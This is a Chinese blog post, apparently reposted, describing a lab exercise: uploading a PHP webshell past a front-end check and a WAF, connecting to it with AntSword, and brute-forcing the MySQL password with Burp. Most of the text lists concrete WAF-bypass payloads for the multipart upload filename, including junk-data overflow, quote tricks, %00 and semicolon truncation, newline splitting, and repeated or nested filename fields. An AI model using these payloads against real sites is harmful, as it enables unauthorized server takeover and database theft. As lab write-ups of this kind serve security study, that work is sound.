记一次上传webshell绕过waf以及爆破数据库

记一次上传webshell绕过waf以及爆破数据库

本人使用的是靶场,我是来研究如何绕过waf
记一次上传webshell绕过waf以及爆破数据库_第1张图片
先查看代码,发现第一关是前端验证,那么就是上传一个带有webshell的后门图片
记一次上传webshell绕过waf以及爆破数据库_第2张图片
上传,使用burp抓取数据包,更改后缀
记一次上传webshell绕过waf以及爆破数据库_第3张图片
记一次上传webshell绕过waf以及爆破数据库_第4张图片
然后放包,发现到了waf
记一次上传webshell绕过waf以及爆破数据库_第5张图片
现在试试绕过waf
绕过waf有两种方法:
一.让waf检测不到你的脚本后缀(这里我使用的是php)
二.使用其它的脚本去上传,也能执行php代码

这里我使用第一种方法(第一种方法里面有很多小方法):

数据溢出-防匹配(xxxx……)
不断去匹配数据,数据量特别大的时候,waf程序就会崩溃,或者截至在哪里,网上也叫:垃圾数据

符号变异-防匹配(’ " ;)

Content-Disposition: form-data; 
 name="upload_file";     filename="webshell.php" Content-Type: image/jpe
有的使用了双引号和等于,而有的使用了( :),没有使用双引号的那就是自带的属性

1.在 filename="webshell.jpg"没有引号相当于连接后面的数据,可以测试去加上( ;)去变成两行数据
2.或者改成单引号
 filename='webshell.php'
或
 filename="webshell.php //这样会把"webshell当作名字"webshell.php
这样会有三种情况(没有闭合数据,waf会认为是错误数据)
1.匹配到"webshell.php
2.匹配到webshell.php
3.匹配不到
但是在后面加上 " 绕不过  filename=webshell.php",因为安全狗是截取引号前面的字符
或者
 filename=webshell.php 
或者
 filename="webshell"webshell.php  //因为waf是截取引号前面的字符
关键是找到waf过滤关键字

数据溢出-防匹配(xxxx……)

 filename="webshell.php%00.jpg "
 filename="webshell.jpg;.php" 
//waf以为是(;)截断了,而数据包把这个当成了完整的数据
换行:
 filename="webshell.p
 h
p"
安全狗认为是( p\nh\np\n" )被\n干扰了,

重复数据-防匹配(参数多次)

. 
filename="x.jpg" ; filename="y.jpg";  //会以y.jpg为主 ,多弄几个
 filename="x.jpg" ; filename="y.jpg";  filename="x.jpg" ; filename="y.jpg";  filename="x.jpg" ; filename="y.jpg";  filename="x.jpg" ; filename="y.jpg";  filename="x.jpg" ; filename="y.jpg";  filename="x.jpg" ; filename="y.jpg";  filename="x.jpg" ; filename="y.jpg";  filename="x.jpg" ; filename="y.jpg";  filename="x.jpg" ; filename="y.jpg";  filename="x.jpg" ; filename="y.jpg";  filename="x.jpg" ; filename="y.jpg";  filename="x.jpg" ; filename="y.php";
这样可以绕过, 
 
二.
Content-Disposition: form-data; name="upload_file"; 
filename="Content-Disposition: form-data; name="upload_file"; x.php"
 Content-Type: image/jpeg
waf会认为x.php没有给到参数,
 
或
Content-Disposition: form-data; name="upload_file"; 
filename=" Content-Type: image/jpe; x.php"
 Content-Type: image/jpeg
 
或
 
Content-Disposition: form-data; name="upload_file"; 
filename=" /jpeg; x.php"
 Content-Type: image/jpe

Fuzz web字典
可以使用字典去爆破
记一次上传webshell绕过waf以及爆破数据库_第6张图片
看看那个能成功最后
记一次上传webshell绕过waf以及爆破数据库_第7张图片

这里我使用数据溢出
数据溢出-防匹配(xxxx……)的方法
记一次上传webshell绕过waf以及爆破数据库_第8张图片
改成
记一次上传webshell绕过waf以及爆破数据库_第9张图片

上传成功,然后使用蚁剑去连接webshell
记一次上传webshell绕过waf以及爆破数据库_第10张图片
图片地址
记一次上传webshell绕过waf以及爆破数据库_第11张图片
记一次上传webshell绕过waf以及爆破数据库_第12张图片
进入网站目录成功
记一次上传webshell绕过waf以及爆破数据库_第13张图片
现在去爆破数据库,点击检测,发现了三个数据库,我们使用mysql进行爆破
记一次上传webshell绕过waf以及爆破数据库_第14张图片
设置代理,使用burp去爆破数据库密码
记一次上传webshell绕过waf以及爆破数据库_第15张图片
记一次上传webshell绕过waf以及爆破数据库_第16张图片
使用狙击手模式
记一次上传webshell绕过waf以及爆破数据库_第17张图片

记一次上传webshell绕过waf以及爆破数据库_第18张图片
爆破成功
记一次上传webshell绕过waf以及爆破数据库_第19张图片
现在连接数据库
记一次上传webshell绕过waf以及爆破数据库_第20张图片
打开数据库
记一次上传webshell绕过waf以及爆破数据库_第21张图片
ok成功,但是在服务器上面还是被找到了,没有免杀,不是我不想免杀,是我还不会,但是总体思路是正确的,这个被找到是因为,爆破数据库的原因,被waf检测到流量访问异常
记一次上传webshell绕过waf以及爆破数据库_第22张图片

你可能感兴趣的:(文件上传漏洞,爆破,绕过waf,安全漏洞,mysql,php,安全,经验分享)